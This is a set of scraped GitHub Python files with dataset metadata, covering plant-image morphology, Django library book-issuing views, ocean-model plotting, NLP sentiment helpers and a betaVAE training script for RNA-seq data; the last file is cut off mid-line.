datatype=list,\n                            value=segment_lengths, label=segment_ids)\n\n    # Reset debug mode\n    params.debug = debug\n    # Auto-increment device\n    params.device += 1\n\n    if params.debug == 'print':\n        print_image(labeled_img, os.path.join(params.debug_outdir, str(params.device) + '_segment_eu_lengths.png'))\n    elif params.debug == 'plot':\n        plot_image(labeled_img)\n\n    return labeled_img\n", "repo_name": "Eliserin/plantcv", "sub_path": "plantcv/plantcv/morphology/segment_euclidean_length.py", "file_name": "segment_euclidean_length.py", "file_ext": "py", "file_size_in_byte": 3279, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "plantcv.plantcv.params.debug", "line_number": 34, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params", "line_number": 34, "usage_type": "name"}, {"api_name": "plantcv.plantcv.params.debug", "line_number": 35, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params", "line_number": 35, "usage_type": "name"}, {"api_name": "plantcv.plantcv.color_palette", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 52, "usage_type": "call"}, {"api_name": "plantcv.plantcv.morphology.find_tips", "line_number": 53, "usage_type": "call"}, {"api_name": "plantcv.plantcv.find_objects", "line_number": 54, "usage_type": "call"}, {"api_name": "plantcv.plantcv.fatal_error", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 65, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.euclidean", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 76, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params.text_size", "line_number": 77, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params", "line_number": 77, "usage_type": "name"}, {"api_name": "plantcv.plantcv.params.text_thickness", "line_number": 77, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.outputs.add_observation", "line_number": 81, "usage_type": "call"}, {"api_name": "plantcv.plantcv.outputs", "line_number": 81, "usage_type": "name"}, {"api_name": "plantcv.plantcv.params.debug", "line_number": 86, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params", "line_number": 86, "usage_type": "name"}, {"api_name": "plantcv.plantcv.params.device", "line_number": 88, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params", "line_number": 88, "usage_type": "name"}, {"api_name": "plantcv.plantcv.params.debug", "line_number": 90, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params", "line_number": 90, "usage_type": "name"}, {"api_name": "plantcv.plantcv.print_image", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params.debug_outdir", "line_number": 91, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params", "line_number": 91, "usage_type": "name"}, {"api_name": "plantcv.plantcv.params.device", "line_number": 91, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params.debug", "line_number": 92, "usage_type": "attribute"}, {"api_name": "plantcv.plantcv.params", "line_number": 92, "usage_type": "name"}, {"api_name": "plantcv.plantcv.plot_image", "line_number": 93, "usage_type": "call"}]}
{"seq_id": "18420527314", "text": "from django.shortcuts import render,redirect\nfrom Book.models import Book,Issue\nfrom django.contrib.auth.models import User \nimport datetime \n# Create your views here.\ndef home_view(request,*args,**kwargs):\n    print(request.user)\n    return render(request,\"home.html\")\ndef about_view(request,*args,**kwargs):\n    print(request.user)\n    return render(request,\"about.html\")\n\ndef contact_view(request,*args,**kwargs):\n    print(request.user)\n    return render(request,\"contact.html\")\n\ndef signin_view(request,*args,**kwargs):\n    print(request.user)\n    return render(request,\"signin.html\")\n    \ndef signup_view(request,*args,**kwargs):\n    print(request.user)\n    return render(request,\"signup.html\")\n\ndef welcome_view(request,*args,**kwargs):\n    print(request.user)\n    books=Book.objects.all()\n    print(books)\n    try:\n        username=request.user.username\n        user = User.objects.get(username=username)\n        issue = Issue.objects.filter(user=user)\n        print(issue)\n        today = datetime.date.today()\n        today = str(today)\n        year = today[0:4]\n        month = today[5:7]\n        date = today[8:]\n        today = str(date) + str('-') + str(month) + str('-') + str(year)\n        print(issue[0].returndate, today)\n\n        d={1:31, 2:28, 3:31, 4:30, 5:31, 6:30, 7:31, 8:31, 9:30, 10:31, 11:30, 12:31}\n        latedays = 0\n        remaining = 0\n        if issue[0].returndate[6:] == today[6:]:\n            if issue[0].returndate[3:5] == today[3:5]:\n                if int(today[0:2]) - int(issue[0].returndate[0:2]) > 0:\n                    latedays = int(today[0:2]) - int(issue[0].returndate[0:2]) \n                else:\n                    latedays = 0\n                    remaining = int(issue[0].returndate[0:2]) - int(today[0:2])  \n            else:\n                if int(today[0:2]) - int(issue[0].returndate[0:2]) > 0:\n                    latemonth = int(today[3:5]) - int(issue[0].returndate[3:5]) \n                    latedays = int(today[0:2])+d[int(issue[0].returndate[3:5])]*latemonth - int(issue[0].returndate[0:2]) \n                else:\n                    latedays = -(int(today[0:2]) - int(issue[0].returndate[0:2]))\n        else:\n            pass\n        print(latedays)\n        issue2=Issue.objects.get(user=user)\n        \n        print(issue2)\n        issue2.fine=int(latedays)*15\n        issue2.save()\n        return render(request,\"welcome.html\",{'books':books, 'latedays':-(latedays-15), 'issuebooks':issue})\n\n    except Exception as e:\n        print(e)\n\n    \n    return render(request,\"welcome.html\",{'books':books})\n\ndef select_view(request,*args,**kwargs):\n    if request.method==\"POST\":\n\n        try:\n            username=request.user.username\n            user=User.objects.get(username=username)\n            bookname=request.POST['bookname']\n            print(bookname)\n            book=Book.objects.get(Name=bookname)\n            if book.Status==True:\n                newissue=Issue.objects.create(user=user,book=book)\n                today = datetime.date.today()\n                today = str(today)\n                d={1:31, 2:28, 3:31, 4:30, 5:31, 6:30, 7:31, 8:31, 9:30, 10:31, 11:30, 12:31}\n                year = today[0:4]\n                month = today[5:7]\n                date = today[8:]\n                if int(date) + 15 >= 30:\n                    if int(month) != 12:\n                        month = int(month) + 1\n                        monthdays = d[int(month)]\n                        date = int(date)+15-monthdays\n                    else:\n                        year += int(year)+1\n                        month = 1\n                        date = int(date)+15-31\n                else:\n                    date = int(date)+15\n                today = str(date) + str('-') + str(month) + str('-') + str(year)\n                newissue.returndate = today\n                \n                newissue.save()\n                book.Quantity-=1\n                if book.Quantity==0:\n                    book.Status=False\n                book.save()\n                print(\"book issued\")\n            else:\n                print(\"book not available\")\n        except Exception as e:\n            print(e,\"error\")\n    return redirect('welcome')\n\ndef bookreturn(request):\n    if request.method==\"POST\":\n        print('postmethod')\n        try:\n            username = request.user.username\n            user = User.objects.get(username=username)\n            bookname = request.POST['bookname']\n            print(bookname)\n            book = Book.objects.get(Name=bookname)\n            print(book)\n            try:\n\t            issue = Issue.objects.get(user=user)\n\t            issue.delete()\n\t            if book.Quantity == 0:\n\t\t            book.Status = True\n\t            book.Quantity += 1\n                \n            except:\n\t            print('no book is issued with this id')\n            book.save()\n           \n        except Exception as e:\n            print(e)\n    else:\n        pass\n    return redirect('welcome')  \n            \n", "repo_name": "mehulkansal/digital-library", "sub_path": "Pages/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 8, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 11, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 23, "usage_type": "call"}, {"api_name": "Book.models.Book.objects.all", "line_number": 27, "usage_type": "call"}, {"api_name": "Book.models.Book.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "Book.models.Book", "line_number": 27, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 31, "usage_type": "name"}, {"api_name": "Book.models.Issue.objects.filter", "line_number": 32, "usage_type": "call"}, {"api_name": "Book.models.Issue.objects", "line_number": 32, "usage_type": "attribute"}, {"api_name": "Book.models.Issue", "line_number": 32, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 34, "usage_type": "attribute"}, {"api_name": "Book.models.Issue.objects.get", "line_number": 61, "usage_type": "call"}, {"api_name": "Book.models.Issue.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "Book.models.Issue", "line_number": 61, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 66, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 72, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 79, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 79, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 79, "usage_type": "name"}, {"api_name": "Book.models.Book.objects.get", "line_number": 82, "usage_type": "call"}, {"api_name": "Book.models.Book.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "Book.models.Book", "line_number": 82, "usage_type": "name"}, {"api_name": "Book.models.Issue.objects.create", "line_number": 84, "usage_type": "call"}, {"api_name": "Book.models.Issue.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "Book.models.Issue", "line_number": 84, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 85, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 85, "usage_type": "attribute"}, {"api_name": "django.shortcuts.redirect", "line_number": 115, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 122, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 122, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 122, "usage_type": "name"}, {"api_name": "Book.models.Book.objects.get", "line_number": 125, "usage_type": "call"}, {"api_name": "Book.models.Book.objects", "line_number": 125, "usage_type": "attribute"}, {"api_name": "Book.models.Book", "line_number": 125, "usage_type": "name"}, {"api_name": "Book.models.Issue.objects.get", "line_number": 128, "usage_type": "call"}, {"api_name": "Book.models.Issue.objects", "line_number": 128, "usage_type": "attribute"}, {"api_name": "Book.models.Issue", "line_number": 128, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 142, "usage_type": "call"}]}
{"seq_id": "42352343657", "text": "\"\"\"\nCode to make an exploratory plot of the output of a box extraction.\n\"\"\"\nfrom lo_tools import Lfun, zfun\nfrom lo_tools import plotting_functions as pfun\n\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\nfrom cmocean import cm\nimport pandas as pd\n\nLdir = Lfun.Lstart()\n\n# choose the file\nin_dir0 = Ldir['LOo'] / 'extract'\ngtagex = Lfun.choose_item(in_dir0, tag='', exclude_tag='', itext='** Choose gtagex from list **')\nin_dir = in_dir0 / gtagex / 'box'\nbox_name = Lfun.choose_item(in_dir, tag='.nc', exclude_tag='', itext='** Choose box extraction from list **')\nbox_fn = in_dir / box_name\n\n# gather fields\nds = xr.open_dataset(box_fn)\n\n# get time\not = ds.ocean_time.values\not_dt = pd.to_datetime(ot)\nNT = len(ot_dt)\n# choose a time to get\nprint('Time range = ')\nprint('0 = %s UTC' % (ot_dt[0].strftime('%Y.%m.%d %H:%M:%S')))\nprint('%d = %s UTC' % (NT-1, ot_dt[-1].strftime('%Y.%m.%d %H:%M:%S')))\nmy_choice = input('-- Input time index to plot -- (return=0) ')\nif len(my_choice)==0:\n    my_choice = 0\nif int(my_choice) not in range(NT):\n    print('Error: time index out of range.')\n    sys.exit()\nelse:\n    nt = int(my_choice)\n\nlon = ds.lon_rho.values\nlat = ds.lat_rho.values\nplon, plat = pfun.get_plon_plat(lon, lat)\n\nplot_uv = False\nif 'u' in ds.data_vars: # assume that if we have u we have v\n    plot_uv = True\n    if 'xi_u' in ds.u.dims:\n        uv_grid = 'uv'\n    elif 'xi_rho' in ds.u.dims:\n        uv_grid = 'rho'\n\nndims = len(ds.salt.dims)\nif ndims == 3:\n    # like for a squeezed surface extraction\n    s0 = ds.salt[nt,:,:].values\n    if plot_uv:\n        u0 = ds.u[nt,:,:].values\n        v0 = ds.v[nt,:,:].values\nelif ndims == 4:\n    s0 = ds.salt[nt,-1,:,:].values\n    if plot_uv:\n        u0 = ds.u[nt,-1,:,:].values\n        v0 = ds.v[nt,-1,:,:].values\n\n# PLOTTING\n\nplt.close('all')\n\npfun.start_plot(figsize=(10,10))\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.pcolormesh(plon, plat, s0, cmap='Spectral_r')\npfun.add_coast(ax)\npfun.dar(ax)\npad = .02\nax.axis([plon[0,0]-pad, plon[-1,-1]+pad, plat[0,0]-pad, plat[-1,-1]+pad])\n\nif plot_uv:\n    pfun.start_plot(figsize=(20,10))\n    fig = plt.figure()\n\n    ax = fig.add_subplot(121)\n    if uv_grid == 'rho':\n        ax.pcolormesh(plon, plat, u0, cmap='jet')\n        ax.set_title('u rho-grid')\n    elif uv_grid == 'uv':\n        lon = ds.lon_u.values\n        lat = ds.lat_u.values\n        plon, plat = pfun.get_plon_plat(lon, lat)\n        ax.pcolormesh(plon, plat, u0, cmap='jet')\n        ax.set_title('u u-grid')\n    pfun.add_coast(ax)\n    pfun.dar(ax)\n    pad = .02\n    ax.axis([plon[0,0]-pad, plon[-1,-1]+pad, plat[0,0]-pad, plat[-1,-1]+pad])\n\n    ax = fig.add_subplot(122)\n    if uv_grid == 'rho':\n        ax.pcolormesh(plon, plat, v0, cmap='jet')\n        ax.set_title('v rho-grid')\n    elif uv_grid == 'uv':\n        lon = ds.lon_v.values\n        lat = ds.lat_v.values\n        plon, plat = pfun.get_plon_plat(lon, lat)\n        ax.pcolormesh(plon, plat, v0, cmap='jet')\n        ax.set_title('v v-grid')\n    pfun.add_coast(ax)\n    pfun.dar(ax)\n    pad = .02\n    ax.axis([plon[0,0]-pad, plon[-1,-1]+pad, plat[0,0]-pad, plat[-1,-1]+pad])\n\nplt.show()\npfun.end_plot()\n\nds.close()", "repo_name": "parkermac/LO", "sub_path": "extract/box/plot_box.py", "file_name": "plot_box.py", "file_ext": "py", "file_size_in_byte": 3169, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "lo_tools.Lfun.Lstart", "line_number": 14, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 14, "usage_type": "name"}, {"api_name": "lo_tools.Lfun.choose_item", "line_number": 18, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 18, "usage_type": "name"}, {"api_name": "lo_tools.Lfun.choose_item", "line_number": 20, "usage_type": "call"}, {"api_name": "lo_tools.Lfun", "line_number": 20, "usage_type": "name"}, {"api_name": "xarray.open_dataset", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 39, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions.get_plon_plat", "line_number": 45, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.start_plot", "line_number": 72, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.add_coast", "line_number": 76, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 76, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.dar", "line_number": 77, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 77, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.start_plot", "line_number": 82, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.get_plon_plat", "line_number": 92, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 92, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.add_coast", "line_number": 95, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 95, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.dar", "line_number": 96, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 96, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.get_plon_plat", "line_number": 107, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 107, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.add_coast", "line_number": 110, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 110, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.dar", "line_number": 111, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "lo_tools.plotting_functions.end_plot", "line_number": 116, "usage_type": "call"}, {"api_name": "lo_tools.plotting_functions", "line_number": 116, "usage_type": "name"}]}
{"seq_id": "8441176168", "text": "import numpy as np\nimport regex as re\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\nnltk.download('stopwords', quiet=True)\nnltk.download('vader_lexicon', quiet=True)\n\n\n# Data transformation\ndef rev_group_list(df, col, grp):\n    \"\"\"\n    Function collapses multiple strings into a list of single values based on a group-by column\n    :param df: dataframe to group\n    :param col: column to group\n    :param grp: dataframe grouped at this level\n    :return: list\n    \"\"\"\n    # drop duplicate data\n    df_out = df.drop_duplicates().sort_values(col)\n\n    # Group by grp\n    df_out[col] = df_out.groupby([grp])[col].transform(lambda x: '| '.join(x))\n\n    # drop duplicate data\n    df_out = df_out.drop_duplicates()\n\n    # Convert to a list\n    df_out[col] = df_out[col].apply(lambda x: x.split('| '))\n\n    # Return transformed data frame\n    return df_out\n\n\ndef clean_text(x, stop_words_lem=False):\n    \"\"\"\n    Function to clean and normalise text\n    :param x: text to clean\n    :return: string\n    \"\"\"\n    # Remove non letters ex white space and dash\n    txt = re.sub(\"[^a-zA-Z -]\", \"\", x)\n\n    # Replace dashes with space\n    txt = re.sub(\"[-]\", \" \", txt)\n\n    # Remove extra white spaces\n    txt = re.sub(\"\\s+\", \" \", txt)\n\n    # Convert to lower case\n    txt = txt.lower()\n\n    # Remove stopwords\n    if stop_words_lem:\n        txt = remove_stopwords(txt)\n        txt = lemmatize_text(txt)\n\n    return txt\n\n\ndef clean_text_list(x, *args):\n    \"\"\"\n    Function to apply the clean_text function to elements of a list\n    :param x: list of text to clean\n    :return: list of text\n    \"\"\"\n    lst = []\n    for i in x:\n        lst.append(clean_text(i, *args))\n\n    return lst\n\n\ndef remove_stopwords(text):\n    \"\"\"\n    Function to remove stopwords using nltk stopwords list\n    :param text: text to remove stopwords\n    :return: string\n    \"\"\"\n    # Remove the stop words\n    stop_words = set(stopwords.words('english'))\n    no_stop_word_text = [w for w in text.split() if not w in stop_words]\n\n    return ' '.join(no_stop_word_text)\n\n\ndef lemmatize_text(text):\n    \"\"\"\n    Function to Lemmatize text\n    :param text: text to Lemmatize\n    :return: cleaned text\n    \"\"\"\n    lemmatizer = WordNetLemmatizer()\n    return lemmatizer.lemmatize(text)\n\n\ndef sid_analyser(x, str_list=True):\n    \"\"\"\n    Function to apply SentimentIntensityAnalyzer to elements of a list or string\n    :param x: list of text to clean\n    :para str_list: True for string (default) and False for list of text\n    :return: list of text\n    \"\"\"\n    sid = SentimentIntensityAnalyzer()\n    if str_list:\n        x = sid.polarity_scores(', '.join(x))\n    else:\n        lst = []\n        for i in x:\n            lst.append(sid.polarity_scores(i))\n\n        x = lst\n\n    return x\n\n\ndef sentiment_overall(x):\n    \"\"\"\n    Function to provide an overall sentiment classification per (Hutto, n.d.)\n    :param x: dictionary of polarity_scores\n    :return: string (overall sentiment classification)\n    \"\"\"\n    if x >= 0.05:\n        sent = 'positive'\n    elif x <= -0.05:\n        sent = 'negative'\n    else:\n        sent = 'neutral'\n    return sent\n\n    # Reference:\n    # Hutto, C. J. (n.d.). VADER-Sentiment-Analysis. GitHub.\n    # Retrieved November 30, 2021, from https://github.com/cjhutto/vaderSentiment#about-the-scoring\n\n\ndef freq_words_chart(x, terms, title, n=7, m=8):\n    \"\"\"\n    Plot of the N (terms) most frequently used words in a corpus\n    :param x: Data Frame column (corpus) to plot\n    :param terms: N terms to plot\n    :param title: chart time (string)\n    :return: plot of the most frequently used words\n    \"\"\"\n    all_words = ' '.join([text for text in x])\n    all_words = all_words.split()\n    fdist = nltk.FreqDist(all_words)\n    words_df = pd.DataFrame({'word': list(fdist.keys()), 'count': list(fdist.values())})\n\n    # selecting top N frequent words\n    d = words_df.nlargest(columns=\"count\", n=terms)\n\n    # visualize words and frequencies\n    plt.figure(figsize=(n, m))\n    ax = sns.barplot(data=d, x=\"count\", y=\"word\")\n    ax.set(ylabel='Word')\n    ax.set(title=title)\n    plt.show()\n", "repo_name": "jamchap/MA5851", "sub_path": "my_functions.py", "file_name": "my_functions.py", "file_ext": "py", "file_size_in_byte": 4238, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nltk.download", "line_number": 11, "usage_type": "call"}, {"api_name": "nltk.download", "line_number": 12, "usage_type": "call"}, {"api_name": "regex.sub", "line_number": 47, "usage_type": "call"}, {"api_name": "regex.sub", "line_number": 50, "usage_type": "call"}, {"api_name": "regex.sub", "line_number": 53, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 86, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 86, "usage_type": "name"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 98, "usage_type": "call"}, {"api_name": "nltk.sentiment.vader.SentimentIntensityAnalyzer", "line_number": 109, "usage_type": "call"}, {"api_name": "nltk.FreqDist", "line_number": 151, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}]}
{"seq_id": "38098676391", "text": "import os\nimport json\nimport argparse\nimport datetime\nimport pickle\n\nimport numpy as np\nimport torch\nfrom torch.optim import Adam, SGD, RAdam\nfrom torch.utils.data import DataLoader, RandomSampler, SequentialSampler\nfrom tensorboardX import SummaryWriter\nfrom torchvision import transforms\nfrom sklearn.model_selection import train_test_split\nfrom warmup_scheduler import GradualWarmupScheduler\n\nfrom model import *\nfrom betaVAE import *\nfrom read_data import *\nfrom utils import *\n\nparser = argparse.ArgumentParser(description='betaVAE training over RNA-Seq data')\nparser.add_argument('--config', type=str, help='JSON config file')\nparser.add_argument('--checkpoint', type=str, default=None,\n        help='File with the checkpoint to start with')\nparser.add_argument('--seed', type=int, default=99,\n        help='Seed for random generation')\nparser.add_argument('--log', type=int, default=0,\n        help='Use tensorboard for experiment logging')\nparser.add_argument('--parallel', type=int, default=None,\n        help='If data parallel wants to be used for training')\n\nargs = parser.parse_args()\n\n#p.random.seed(args.seed)\n#torch.manual_seed(args.seed)\n\nwith open(args.config) as f:\n    config = json.load(f)\n\nprint(10*'-')\nprint('Config for this experiment \\n')\nprint(config)\nprint(10*'-')\n\nif 'flag' in config:\n    args.flag = config['flag']\nelse:\n    args.flag = 'train_{date:%Y-%m-%d %H:%M:%S}'.format(date=datetime.datetime.now())\n\nif not os.path.exists(config['save_dir']):\n    os.mkdir(config['save_dir'])\n\npath_csv = config['path_csv']\nrna_features = config['rna_features']\nbatch_size = config.get('batch_size', 64)\nencoder_checkpoint = config.get('encoder_checkpoint', None)\nbeta = config.get('beta', 2)\nquick = config.get('quick', 0)\nopt = config.get('optimizer', 'Adam')\n\nprint('Loading dataset...')\n\ndatasets = {\n    'train': [],\n    'test': [],\n    'val': []\n}\n\ntest_labels = []\nfor id, dataset in enumerate(path_csv):\n    print(dataset)\n    df = pd.read_csv(dataset)\n    train_df, test_df = train_test_split(df, test_size=0.2)\n\n    train_df, val_df = train_test_split(train_df, test_size=0.2)\n\n    #train_df, val_df, test_df, scaler = normalize_dfs(train_df, val_df, test_df, norm_type='minmax')\n\n    datasets['train'].append(train_df)\n    datasets['test'].append(test_df)\n    datasets['val'].append(val_df)\n    \n    test_labels = test_labels + ([id] * test_df.shape[0])\n\nif(len(datasets['train']) >=2):\n    train_df = pd.concat([datasets['train'][0], datasets['train'][1]])\n    val_df = pd.concat([datasets['val'][0], datasets['val'][1]])\n    test_df = pd.concat([datasets['test'][0], datasets['test'][1]])\n    for i in range(2, len(datasets['train'])):\n        train_df = pd.concat([train_df, datasets['train'][i]])\n        val_df = pd.concat([val_df, datasets['val'][i]])\n        test_df = pd.concat([test_df, datasets['test'][i]])\nelse:\n    train_df = datasets['train'][0]\n    val_df = datasets['val'][0]\n    test_df = datasets['test'][0]\n\nprint('Train shape {}'.format(train_df.shape))\nprint('Val shape {}'.format(val_df.shape))\nprint('Test shape {}'.format(test_df.shape))\ntrain_df, val_df, test_df, scaler = normalize_dfs(train_df, val_df, test_df, norm_type='standard')\n\ntrain_dataset = RNADataset([train_df], quick=quick)\nval_dataset = RNADataset([val_df])\ntest_dataset = RNADataset([test_df])\n\ntrain_dataloader = DataLoader(train_dataset,batch_size=batch_size, \n               num_workers=4, shuffle=True)\nval_dataloader = DataLoader(val_dataset,batch_size=batch_size, \n               num_workers=4, \n               shuffle=False)\ntest_dataloader = DataLoader(test_dataset,batch_size=1, \n               num_workers=4, \n               shuffle=False)\n\n# training\n\nprint('Finished loading dataset and creating dataloader')\n\nprint('Initializing models')\n\n\nif encoder_checkpoint:\n    model = betaVAE(rna_features, 2048, [12000, 4096, 2048], [4096, 12000],\n                      encoder_checkpoint=encoder_checkpoint)\n    if args.checkpoint is not None:\n        print('Restoring from checkpoint')\n        print(args.checkpoint)\n        model.load_state_dict(torch.load(args.checkpoint))\n        print('Loaded model from checkpoint')\n    else:\n        model.z_mu.apply(init_weights_uniform)\n        model.decoder.apply(init_weights_uniform)\n        model.z_logvar.apply(init_weights_uniform)\nelse:\n    model = betaVAE(rna_features, 2048, [6000, 4000, 2048], [4000, 6000], beta=beta)\n    if args.checkpoint is not None:\n        print('Restoring from checkpoint')\n        print(args.checkpoint)\n        model.load_state_dict(torch.load(args.checkpoint))\n        print('Loaded model from checkpoint')\n    else:\n        model.apply(init_weights_xavier)\n\n#torch.nn.utils.clip_grad_norm_(model.parameters(), 0.25)\nprint('Model initialized')\n\nif args.parallel:\n    print('Using more than one gpu...')\n    model = nn.DataParallel(model)\n\nif torch.cuda.is_available():\n    model = model.cuda()\n\nlr = config.get('lr', 3e-3)\n\nif opt == 'RAdam':\n    optimizer = RAdam(model.parameters(), weight_decay = config['weights_decay'], lr=lr)\nelif opt == 'SGD':\n    optimizer = SGD(model.parameters(), weight_decay = config['weights_decay'], lr=lr)\nelse:\n    optimizer = Adam(model.parameters(), weight_decay = config['weights_decay'], lr=lr)\n\n#scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=125, gamma=0.1)\nscheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, 500)\nscheduler_warmup = GradualWarmupScheduler(optimizer, multiplier=1, total_epoch=1000, after_scheduler=scheduler)\n# train model\n\nif args.log:\n    summary_writer = SummaryWriter(\n            os.path.join(config['summary_path'],\n                datetime.datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\") + \"_{0}\".format(args.flag)))\n\n    summary_writer.add_text('config', str(config))\nelse:\n    summary_writer = None\n\ndataloaders = {\n    'train': train_dataloader,\n    'val': val_dataloader\n}\nmodel, results = train_betaVAE(model, optimizer, dataloaders,\n                               save_dir=config['save_dir'],\n                               device=config['device'], \n                               log_interval=config['log_interval'],\n                               summary_writer=summary_writer,\n                               num_epochs=config['num_epochs'],\n                               scheduler=scheduler_warmup)\n\nresults_test, predictions, real = evaluate_betaVAE(model, test_dataloader)\n\n# Reversing the transformation\npredictions = np.vstack(predictions)\nreal = np.vstack(real)\ntest_results = {'predictions': 0, 'real': 0}\ntest_results['predictions'] = scaler.inverse_transform(predictions)\ntest_results['real'] = scaler.inverse_transform(real)\ntest_results['test_ids'] = test_df['wsi_file_name'].values\ntest_results['test_labels'] = np.asarray(test_labels)\nf = open(os.path.join(config['save_dir'], 'test_results.pkl'), 